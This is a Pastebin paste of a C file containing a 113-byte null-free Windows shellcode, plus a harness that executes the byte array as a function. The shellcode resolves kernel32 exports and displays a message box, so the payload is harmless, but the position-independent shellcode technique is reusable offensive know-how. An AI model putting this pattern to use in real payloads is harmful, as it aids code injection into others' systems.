Viru5hax

User32-free Messagebox Shellcode for any Windows version

Jan 30th, 2017
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.06 KB | None | 0 0
  1. /*
  2. User32-free Messagebox Shellcode for any Windows version
  3. ========================================================
  4.  
  5. Title:         User32-free Messagebox Shellcode for any Windows version
  6. Author:        Asif Nawaz
  7. Size:          113 byte (NULL free)
  8. Tested on:     Win8,Win7,WinVista,WinXP,Win2kPro,Win2k8,Win2k8R2,Win2k3
  9. */
  10.  
  11. char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
  12.                    "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
  13.                    "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
  14.                    "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
  15.                    "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
  16.                    "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
  17.                    "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
  18.                    "\x49\x0b\x31\xc0\x51\x50\xff\xd7";
  19. int main(int argc, char **argv)
  20. {
  21.     int (*f)();
  22.     f = (int (*)())shellcode;
  23.     (int)(*f)();
  24.     }
Add Comment
Please, Sign In to add comment